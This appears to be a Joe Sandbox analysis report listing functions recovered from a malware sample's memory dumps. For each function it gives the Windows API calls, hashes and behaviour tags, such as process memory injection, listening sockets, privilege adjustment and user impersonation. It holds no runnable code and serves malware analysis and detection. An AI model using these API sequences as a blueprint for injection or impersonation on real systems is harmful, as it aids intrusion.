Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtualabort
String ID:
API String ID: 4278921479-0
Opcode ID: 27e43dfa7ef0e7d63c314b0127c2fc61b110ad3033d9dc91a01dad9a926d3ef7
Instruction ID: cf336b0ec7d2cb6baae35a739632777ca23f94a65b3f666190a75c6fcbb7d788
Opcode Fuzzy Hash: 27e43dfa7ef0e7d63c314b0127c2fc61b110ad3033d9dc91a01dad9a926d3ef7
Instruction Fuzzy Hash: B5210FB5202F45E9EB009B61F98438A33B4BB08B88F40452ADF8E27775EF38C519C708

Function 009A29DC Relevance: 10.6, APIs: 7, Instructions: 98memoryinjectionCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 009A2A2C
GetLastError.KERNEL32 ref: 009A2A3A
WriteProcessMemory.KERNEL32 ref: 009A2A7A
VirtualProtectEx.KERNEL32 ref: 009A2ACF
GetLastError.KERNEL32 ref: 009A2AD9
GetLastError.KERNEL32 ref: 009A2AE4
VirtualFree.KERNEL32 ref: 009A2B01

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ErrorLastVirtual$AllocFreeMemoryProcessProtectWrite
String ID:
API String ID: 2897431253-0
Opcode ID: 9d639b9db9fe388e0ea0007647f992cc9d7a9c99bc439a06df16a1e995a1a836
Instruction ID: 3c122c00871b3b5210f334adf2322d112136253a2f0dca973dd44468aaa45b43
Opcode Fuzzy Hash: 9d639b9db9fe388e0ea0007647f992cc9d7a9c99bc439a06df16a1e995a1a836
Instruction Fuzzy Hash: 8C310122704B5087DF24AF6AA8447AE73A4BB86F94F0444249E8E83795EF3CC906C790

Function 009A50E0 Relevance: 9.1, APIs: 6, Instructions: 60networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0099ED34: WSAStartup.WS2_32 ref: 0099ED52

socket.WS2_32 ref: 009A5118
htons.WS2_32 ref: 009A5138
ioctlsocket.WS2_32 ref: 009A5154
closesocket.WS2_32 ref: 009A5162
bind.WS2_32 ref: 009A5175
listen.WS2_32 ref: 009A5185

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Startupbindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 1425508107-0
Opcode ID: e554addcf55df633650e010a70a130abdbe191ef44b404b2205d3ff1c75cc74b
Instruction ID: 96d79a1c6da8bcb37b6513098c02166529d391161a8901be4435bbc37aaacdf1
Opcode Fuzzy Hash: e554addcf55df633650e010a70a130abdbe191ef44b404b2205d3ff1c75cc74b
Instruction Fuzzy Hash: DE11D022308B54C2DB248F16F81036AB3A5F788FB8F990A24EE5A47794DF7CD8458740

Function 009A4CD8 Relevance: 9.1, APIs: 6, Instructions: 57networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 009A4D00
htons.WS2_32 ref: 009A4D0C

Part of subcall function 0099ED34: WSAStartup.WS2_32 ref: 0099ED52

socket.WS2_32 ref: 009A4D24
closesocket.WS2_32 ref: 009A4D36
bind.WS2_32 ref: 009A4D63
ioctlsocket.WS2_32 ref: 009A4D7D

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Startupbindclosesockethtonlhtonsioctlsocketsocket
String ID:
API String ID: 2462908977-0
Opcode ID: 1b0c989c961d88eb509ff974df06856b36856af28b3c2505fc1e9dad00bb82bf
Instruction ID: 0f4d5e49fdb2c7e4d9dca190e0aa483ee870ec82d6f273ab5c581e8a2c4ed6e3
Opcode Fuzzy Hash: 1b0c989c961d88eb509ff974df06856b36856af28b3c2505fc1e9dad00bb82bf
Instruction Fuzzy Hash: 7211BE26310B4086EB249F21F8143D93760F789BB8F554625AE6A437D1EFBCD94ACB50

Function 009A2258 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64memoryinjectionCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 009A2296

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

VirtualAllocEx.KERNEL32 ref: 009A22E1
WriteProcessMemory.KERNEL32 ref: 009A2305
free.LIBCMT ref: 009A231B

Strings

@, xrefs: 009A22D9

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Alloc_errno$HeapMemoryProcessVirtualWrite_callnewhfreemalloc
String ID: @
API String ID: 1963606803-2766056989
Opcode ID: 0c55abef161af94e8cd7f16b8447d1cf9a29d0a2536f4fd58ba8b88f039371dc
Instruction ID: efc6629070d87daba8478558da0aad19e394fd06c5c27c9d7d32aae4e8c00095
Opcode Fuzzy Hash: 0c55abef161af94e8cd7f16b8447d1cf9a29d0a2536f4fd58ba8b88f039371dc
Instruction Fuzzy Hash: C9210276708B4086DA20CF1AF85075ABBA8F7C9F90F894525AE9D83B25DF3CC546C780

Function 0099F5C8 Relevance: 7.6, APIs: 5, Instructions: 61sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0099F5E9

Part of subcall function 0099ED34: WSAStartup.WS2_32 ref: 0099ED52

Sleep.KERNEL32 ref: 0099F658
GetTickCount.KERNEL32 ref: 0099F65E
Sleep.KERNEL32 ref: 0099F677
closesocket.WS2_32 ref: 0099F680

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountSleepTick$Startupclosesocket
String ID:
API String ID: 2132357648-0
Opcode ID: 588ff6f82283d4a7c805e44e29e2c84cb311402872418522d6f8f0303ab7943a
Instruction ID: cffa6a388a5eb79b11e718aa0fef00849408d53743848e93a6122a6cbfbc719c
Opcode Fuzzy Hash: 588ff6f82283d4a7c805e44e29e2c84cb311402872418522d6f8f0303ab7943a
Instruction Fuzzy Hash: 37118E21605B8482DE10AB66F45535AA359B7C5BF0F444720AABE43BE5DE3CC5468B40

Function 00401990 Relevance: 7.6, APIs: 5, Instructions: 56timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 004019D5
GetCurrentProcessId.KERNEL32 ref: 004019E0
GetCurrentThreadId.KERNEL32 ref: 004019E8
GetTickCount.KERNEL32 ref: 004019F0
QueryPerformanceCounter.KERNEL32 ref: 004019FE

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 180d7ae7fc5b59493381c36575e32c3318445472d573a77b1124f7da9349a765
Instruction ID: 088ae4e322ac71afa1741572681cd55a149c1471ea95f8004f9c9491386c013f
Opcode Fuzzy Hash: 180d7ae7fc5b59493381c36575e32c3318445472d573a77b1124f7da9349a765
Instruction Fuzzy Hash: AA1170A6756B1092FB209B25F90431973A0B788BF4F081A759F9D53BB4DA3CC986C708

Function 009AAF84 Relevance: 7.6, APIs: 5, Instructions: 53networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0099ED34: WSAStartup.WS2_32 ref: 0099ED52

socket.WS2_32 ref: 009AAFB9
closesocket.WS2_32 ref: 009AAFCB
htons.WS2_32 ref: 009AAFDC
bind.WS2_32 ref: 009AAFFD
listen.WS2_32 ref: 009AB012

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Startupbindclosesockethtonslistensocket
String ID:
API String ID: 3426924835-0
Opcode ID: d3424f860b44bdc497b67123c53142fb4163d3a29e4eaf258a4c9ddadf87f0ed
Instruction ID: 3697b0794098404fc7b932079964f9ba799b85cb960c59f893b7e1c5dcc5c024
Opcode Fuzzy Hash: d3424f860b44bdc497b67123c53142fb4163d3a29e4eaf258a4c9ddadf87f0ed
Instruction Fuzzy Hash: 1511DD26200A6486EA24AF52E80435AB364F785BF4F444625EEAA07BD9DF3CC50AC744

Function 0099FE24 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32 ref: 0099FE9E
AdjustTokenPrivileges.ADVAPI32 ref: 0099FECE
GetLastError.KERNEL32 ref: 0099FED8

Strings

%s, xrefs: 0099FEE6

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID: %s
API String ID: 4244140340-620797490
Opcode ID: 2c6d198ceb926170827977084efa5a65a39764af245ea770d1fcf8d01094e782
Instruction ID: 56a16ed30d0f93c67f9121449a59ca47e491f0679fd420dc8e090f029866b0c1
Opcode Fuzzy Hash: 2c6d198ceb926170827977084efa5a65a39764af245ea770d1fcf8d01094e782
Instruction Fuzzy Hash: 7D218E72B00B4199EB10DFB5E4547ED73B9E798B88F44486A8E0C93B59EF74C615C380

Function 009AA7DC Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009AA564: CloseHandle.KERNEL32 ref: 009AA574
Part of subcall function 009AA564: RevertToSelf.ADVAPI32 ref: 009AA582

LogonUserA.ADVAPI32 ref: 009AA824
GetLastError.KERNEL32 ref: 009AA82E

Part of subcall function 009A4720: malloc.LIBCMT ref: 009A473C

Part of subcall function 0099F9F4: MultiByteToWideChar.KERNEL32 ref: 0099FA21
Part of subcall function 0099F9F4: MultiByteToWideChar.KERNEL32 ref: 0099FA49

Part of subcall function 009AAA24: GetTokenInformation.ADVAPI32 ref: 009AAAB9

ImpersonateLoggedOnUser.ADVAPI32 ref: 009AA84C
GetLastError.KERNEL32 ref: 009AA856

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiUserWide$CloseHandleImpersonateInformationLoggedLogonRevertSelfTokenmalloc
String ID:
API String ID: 2370685222-0
Opcode ID: 0ef5ffc1e3189335da0d9e4fa28c6e2b011bebfc737b901ea03280a1653a1b6e
Instruction ID: f2dfbc6c967347d7bdbc8a27a3d16a47d678c0616c53a4855a7af90f675bb950
Opcode Fuzzy Hash: 0ef5ffc1e3189335da0d9e4fa28c6e2b011bebfc737b901ea03280a1653a1b6e
Instruction Fuzzy Hash: C3319134708B4086FB01EBA6F85432ABB66A7C6BD4F54412ADD99477B7EF3CC4418380

Function 009A3F88 Relevance: 6.1, APIs: 4, Instructions: 73sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 009A3FAF

Part of subcall function 0099ED34: WSAStartup.WS2_32 ref: 0099ED52

Sleep.KERNEL32 ref: 009A3FFE
GetTickCount.KERNEL32 ref: 009A4004
WSAGetLastError.WS2_32 ref: 009A400E

Part of subcall function 009A4154: ioctlsocket.WS2_32 ref: 009A4176

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepStartupioctlsocket
String ID:
API String ID: 3100619841-0
Opcode ID: ad234fc6b16c71ade5ac4f0f39529c60848aa73fa2a8e9c9ef1101c36ac769b1
Instruction ID: a758993413d98e1d1acc276acd5fd6dec270602bce292d17cb6a41686564e820
Opcode Fuzzy Hash: ad234fc6b16c71ade5ac4f0f39529c60848aa73fa2a8e9c9ef1101c36ac769b1
Instruction Fuzzy Hash: 21313436B00B4086EB10DBA6E4843AC73B9F7C9BA4F514626DE6D93794DF34C516C380

Function 009B82B0 Relevance: 3.4, Strings: 2, Instructions: 884COMMON

Download Yara Rule

Strings

, xrefs: 009B8963
<, xrefs: 009B896E

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID: $<
API String ID: 0-428540627
Opcode ID: 1c0fd6758a375fb896b6b7ba35f9678d2cb0a137428ce70669a8171ac9488278
Instruction ID: 8a0c879c542f523bc37c80c901894c3182c5593dc963d475e71cadc0cce0c556
Opcode Fuzzy Hash: 1c0fd6758a375fb896b6b7ba35f9678d2cb0a137428ce70669a8171ac9488278
Instruction Fuzzy Hash: F592E1B2325A8087DB58CB1DE4A573AB7A5F3C8B84F44512AEB9B87794CE3CC551CB04

Function 0355B58F Relevance: 1.8, APIs: 1, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

_initp_misc_winsig.LIBCMT ref: 0355B5C3

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _initp_misc_winsig
String ID:
API String ID: 2710132595-0
Opcode ID: f979b4f846a1532242f867160a3529d6f986bc3965b079700d489e21b19d91cf
Instruction ID: c928518a7a444ce1b3a1fc165eebc3f7a0467a29b03eff076f6f0378b5a5ca24
Opcode Fuzzy Hash: f979b4f846a1532242f867160a3529d6f986bc3965b079700d489e21b19d91cf
Instruction Fuzzy Hash: 78A1AA31A19A488FFF94EF75ED98A9937A2F778301721893A900AC7174DABCE545CF40

Function 009B9AF0 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c14e9906981d949b2bced80e093912c501e006eba945978f30f2290b20bb2d
Instruction ID: 0150debcdd1032ba3d257345a0095314281a21798892a16e382b9e4ba10a2022
Opcode Fuzzy Hash: 98c14e9906981d949b2bced80e093912c501e006eba945978f30f2290b20bb2d
Instruction Fuzzy Hash: 755232B23189418BD708CB1DE4A173AB7A1F3C9B80F44852AE79B8B799CE3DD554DB10

Function 009B9180 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824506dc393073ca40c6ae748ccc67f623d2eb094463fe54b6f3a9da8c359c32
Instruction ID: d9d4f3b7477b0b24f71e3411d45bc1008fdef5357296381e8749220b61472517
Opcode Fuzzy Hash: 824506dc393073ca40c6ae748ccc67f623d2eb094463fe54b6f3a9da8c359c32
Instruction Fuzzy Hash: 8C5263B27189808BD708CF1DE4A173AB7A1F3C9B80F44852AE7978B799CA3CD545DB40

Function 0354CBC7 Relevance: .6, Instructions: 558COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45e6b30be09a604595997fcab8fc315be7e932f4dd03d5cd07d14bfda102088d
Instruction ID: dbafb0b94cf59cf0189bd0c474521d0fe54f64d1ed8d789afafc5a158db1b58d
Opcode Fuzzy Hash: 45e6b30be09a604595997fcab8fc315be7e932f4dd03d5cd07d14bfda102088d
Instruction Fuzzy Hash: 1A02A035654F098BE768EB78D8517A673F1FB98305F184A2DD88BC7661EB38F4828740

Function 0099A280 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3fde14870ee3ca9cfe182cebf4064cb9456a26658336922528cc0587a0b6c204
Instruction ID: 16992d73b53b8936a44613daa4c7fea5fe82179b40e5381c12bd16ccbd8d9b09
Opcode Fuzzy Hash: 3fde14870ee3ca9cfe182cebf4064cb9456a26658336922528cc0587a0b6c204
Instruction Fuzzy Hash: C5E1C372718A4292DF20CB6DE4912AE63B5F7D5788F904115EF4D87708EF39C946CB81

Function 00999D6C Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f15f6ba7d61c77cb2f9ea827ba61a633b41e7ea38c6031940761d8a7b60c0ad9
Instruction ID: a661f6b3ec792a72dee66dbf4df720fcd635c4dae69d88dc7c4372438149d5ca
Opcode Fuzzy Hash: f15f6ba7d61c77cb2f9ea827ba61a633b41e7ea38c6031940761d8a7b60c0ad9
Instruction Fuzzy Hash: 4AD11773308A4292DF20DB6DD8902AFA765F7D5788F900016EF5E97A58EF39C946C780

Function 009B8E97 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70fd7dd056a9b0a37c440412f3a3cc8b7f7d80adc55c15e2758a15b9bb8beac
Instruction ID: 421300a38df063c68a65ba9eb2a1300f0f428f0da5e76fb4bf41f3a9721d3a84
Opcode Fuzzy Hash: b70fd7dd056a9b0a37c440412f3a3cc8b7f7d80adc55c15e2758a15b9bb8beac
Instruction Fuzzy Hash: 2F511BB6614A508BD714CB09E4D0B2BB7E1F3CCB94F84461AE39A87768DA3CD645DB40

Function 009BE020 Relevance: .0, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce50915e01d19d553e501072b1d9aa96a4661ac9f51e51d5d5a12a94cd83616d
Instruction ID: f39ceafa6f48f6d83c3e3849364aa727386b51efd6f9a38a824e052eaa85970e
